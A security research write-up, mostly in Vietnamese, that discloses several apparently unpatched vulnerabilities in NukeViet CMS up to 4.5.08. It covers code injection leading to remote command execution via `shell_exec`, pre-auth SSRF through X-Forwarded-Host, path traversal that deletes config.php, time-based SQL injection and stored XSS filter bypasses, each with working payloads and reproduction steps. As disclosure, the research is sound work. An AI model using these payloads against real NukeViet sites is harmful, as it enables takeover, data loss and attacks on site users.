Contents

Nukeviet 0-days Research

Nukeviet 0-days Research

Code Injection lead to RCE at SEO Tool function in nukeviet

Description

Type Version Affected Authentication required ?-day
Code Injection ≤ 4.5.08 Yes (admin) 0-day

Root cause

Source

admin\seotools\robots.php

/images/nv1.png

Hàm $nv_Request->get_array('filename', 'post') ở dòng 19 lấy dữ liệu từ array $_POST['filename'] với body có dạng filename[<key>] = <value>.

Tại dòng 32, input đi qua hàm serialize() và gắn vào biến $content_config

Sink

Tại dòng 35, data đã được serialize được đưa vào vào hàm file_put_content() để ghi vào file /data/config/robots.php

/images/nv2.png

Cuối cùng, tại dòng 86, file cache vừa được tạo được include để đọc lại cấu hình, code PHP bị nhúng bên trong sẽ lập tức được thực thi.

Steps to reproduce

Đăng nhập vào giao diện Admin → SEO tool → Config. robots.txt

/images/nv3.png

Kéo xuống cuối → Submit → Intercept Request và thêm payload vào cuối file Payload: &filename%5b'%3b%20extract(%24_GET)%3b%20echo%20shell_exec(%24cmd)%3b%2f%2f%5d%3d1 Decode: &filename['; extract($_GET); echo shell_exec($cmd);//]=1

/images/nv4.png

Forward → Truy cập lại url:

http://localhost/nukeviet222/admin/index.php?language=en&nv=seotools&op=robots&rand=t2CjiR6I&cmd=<command>

/images/nv5.png

File cache robots đã được ghi trên server:

data\config\robots.php

/images/nv6.png

Pre-auth SSRF in nukeviet

Description

Type Version Affected Authentication required ?-day
SSRF ≤ 4.5.08 No 0-day

Root cause

Source

vendor/vinades/nukeviet/Core/Server.php

/images/nv7.png

Ứng dụng lấy thông tin từ HTTP Header X-Forwarded-Host (hoặc HTTP_X_FORWARDED_HOST) từ request và gán vào $original_host.

VD:

GET / HTTP/1.1
Host: 127.0.0.1
X-Forwarded-Host: attacker.com

$original_host = “attacker.com”

Tiếp theo, nếu $original_host !== false thì nhảy xuống hàm standardizeHost() để làm sạch host:

/images/nv8.png

Regex này có tác dụng nhằm loại bỏ port ở cuối cùng của Host.

127.0.0.1:8080 → 127.0.0.1

Có thể bypass regex này bằng dấu gạch chéo (/) vào cuối host. Ví dụ 127.0.0.1:8081/. Khi đó, chuỗi kết thúc bằng dấu / chứ không phải là chữ số, làm cho regex (\:[0-9]+)$ mất tác dụng và không thể cắt bỏ được phần port.

→ $this->original_host = 127.0.0.1:8081/.

Sink

includes/ini.php

/images/nv9.png

Hàm server_info_update() có tác dụng tự động thăm dò môi trường của máy chủ Web. Nó sẽ tự gửi HTTP Request đến chính website của mình, sau đó đọc lại các HTTP Header trả về để xem server có hỗ trợ HTTP/2, HTTPS-Only, hoặc các cơ chế nén dữ liệu hay không. Từ đó cập nhật bộ nhớ đệm và config_global.php.

Để biết cần gửi request đến đâu, tại dòng 30, hàm này gọi phương thức $nv_Server->getOriginalHost():

/images/nv10.png

Chính là original_host được lấy từ header X-Forwarded-Host ở phía trên.

Tại dòng 44, hệ thống khởi tạo hàm curl_init với URL được nối thẳng cùng biến $host  do attacker kiểm soát.

Tại dòng 55, ứng dụng sử dụng hàm curl_exec() để gửi request đến url do attacker kiểm soát.

Steps to reproduce

Gửi một POST Request đến endpoint bất kỳ kèm:

  • Header:

    X-Forwarded-Proto: http X-Forwarded-Host: 127.0.0.1:8081/

  • Body: __serverInfoUpdate=1

Request

POST /nukeviet/ HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
Accept-Language: en-US
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://localhost/nukeviet/
Accept-Encoding: gzip, deflate, br
**X-Forwarded-Proto: http
X-Forwarded-Host: 127.0.0.1:8081/**
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

__serverInfoUpdate=1

/images/nv11.png

/images/nv12.png

oast.fun

/images/nv13.png

/images/nv14.png

Path Traversal to Arbitrary File Deletion in Edit Comment Function

Description

Type Version Affected Authentication required ?-day
Path traversal ≤ 4.5.08 Yes (Admin) 0-day

Root Cause

modules/comment/admin/edit.php

/images/nv15.png

Dòng 48, ứng dụng nhận giá trị  attach qua HTTP POST.

Dòng 50, hàm substr() thực hiện cắt bỏ phần tiền tố của attach

VD:

  • NV_BASE_SITEURL/nukeviet/
  • NV_UPLOADS_DIRuploads
  • $module_uploadcomment

→  /nukeviet/uploads/comment/ 

Hàm strlen('/nukeviet/uploads/comment/') đếm độ dài chuỗi này là 26 ký tự.

$attach = substr($attach, 26); : lấy chuỗi từ vị trí thứ 26 trở đi.

Dòng 55, $attach được lưu vào database.

/images/nv16.png

Sau đó, lỗ hổng Xóa file bị kích hoạt tại:

modules/comment/admin/del.php

/images/nv17.png

/images/nv18.png

Do hàm nv_deletefile() không có các bước chặn path traversal và chỉ giới hạn việc xóa không vượt quá Root Dir mà không chặn xóa tệp ngoài thư mục Upload. Do đó, các tệp như  config.php sẽ bị xóa mất bằng payload:

attach=aaaaaaaaaaaaaaaaaaaaaaaaaa../../config.php (26 ký tự a)

Steps to reproduce

Goal: Xóa file config.php

Truy cập trang admin → Quản lý bình luận

/images/nv19.png

Chọn một bình luận bất kỳ và edit:

/images/nv20.png

Intercept lại request và thêm payload aaaaaaaaaaaaaaaaaaaaaaaaaa../../config.php vào param attach:

/images/nv21.png

Forward và tiến hành xóa bình luận đó:

/images/nv22.png

Xóa thành công file config → Ứng dụng tự động redirect về trang install:

/images/nv23.png

Post-Auth SQL Injection in module_shops version <= 4.5.03 of nukeviet

Description

Type Version Affected Authentication required ?-day
SQL Injection ≤ 4.5.08, module_shops <= 4.5.03 Yes 0-day

Root cause

modules\shops\admin\order.php

/images/nv24.png

The data from the order_payment parameter is concatenated directly into the SQL query without validation.

This query is executed at:

/images/nv25.png

Steps to reproduce

Log in with an administrator account and navigate to the Shops module:

/images/nv26.png

Intercept the Search request and inject the following payload into the order_payment parameter: -999%20or%20sleep(3)%20--%20a

This payload causes the application to sleep for a total of 18 seconds (3 seconds for each of the 6 columns).

/images/nv27.png

Multiple Anti-XSS Filter Bypasses leading to Stored XSS in News Module.

Description

Type Version Affected Authentication required ?-day
Stored XSS ≤ 4.5.08 Yes (Low) 0-day

Root cause

modules/news/funcs/content.php

/images/nv28.png

/images/nv29.png

Tại Dòng 392-393, hệ thống lấy dữ liệu nội dung từ POST Request. Do hằng số NV_EDITOR luôn được định nghĩa, hệ thống sẽ thực thi nhánh nv_nl2br($bodyhtml, ''). Hàm này chỉ xử lý ngắt dòng và không có chức năng làm sạch dữ liệu.

/images/nv30.png

Ứng dụng chỉ validate input người dùng bằng hàm get_string() với request POST. Đi vào hàm get_string() -> get_value() -> security_post():

/images/nv31.png

Hàm security_pos() (dòng 1058) gọi $value = $this->filterTags($value); Tại đây ứng dụng gọi hàm filterAttr() :

/images/nv32.png

Đi vào hàm filterAttr():

/images/nv33.png

Do hàm trim() của PHP chỉ xóa các ký trị khoảng trắng, không xóa ký tự Form Feed (0x0C) , chuỗi [0x0C]onerror dễ dàng vượt qua bộ lọc preg_match('/^on/i') để lưu vào cơ sở dữ liệu. Khi hiển thị ở frontend, trình duyệt HTML5 lại nhận diện 0x0C là một khoảng trắng hợp lệ, từ đó kích hoạt thuộc tính onerror và thực thi javascript. Payload mẫu: <img src=x %0Conerror=alert('0-click-XSS')>

Ngoài ra, còn có thể Bypass data URI bằng Entity &#9; (XSS qua thẻ ).

/images/nv34.png

Regex sử dụng \s* để bắt khoảng trắng, nhưng \s của PHP không hiểu Entity &#9; . Do đó, Regex không phát hiện ra javascript. Có thể sử dụng HTML Entity (Tab) chèn vào giữa chữ javascript để bỏ qua preg_replace này.

Payload mẫu: <a href="jav&#9;ascript:alert('XSS_Bypass')">Click me</a>

Steps to reproduce

Sử dụng tài khoản user có quyền đăng bài viết.

Tin tức -> Quản lý bài viết -> Đăng bài viết

/images/nv35.png

Đăng bài viết với đầy đủ thông tin và Intercept request.

/images/nv36.png

Chèn payload: Content%3a%20%3cimg%20src%3d%22x%22%20%0conerror%3d%22alert('0-click-XSS')%22%20%3e vào trường bodyhtml và Forward Request:

/images/nv37.png

Truy cập Tin tức -> Quản lý bài viết -> Bài viết vừa tạo:

/images/nv38.png

XSS Triggered.

Làm tương tự với cách bypass thứ 2 kèm payload: Content%3a+<a+href%3d"jav%26%239%3bascript%3aalert('XSS_Bypass')">Click+me</a>

/images/nv39.png

Click Click me -> XSS Triggered

/images/nv40.png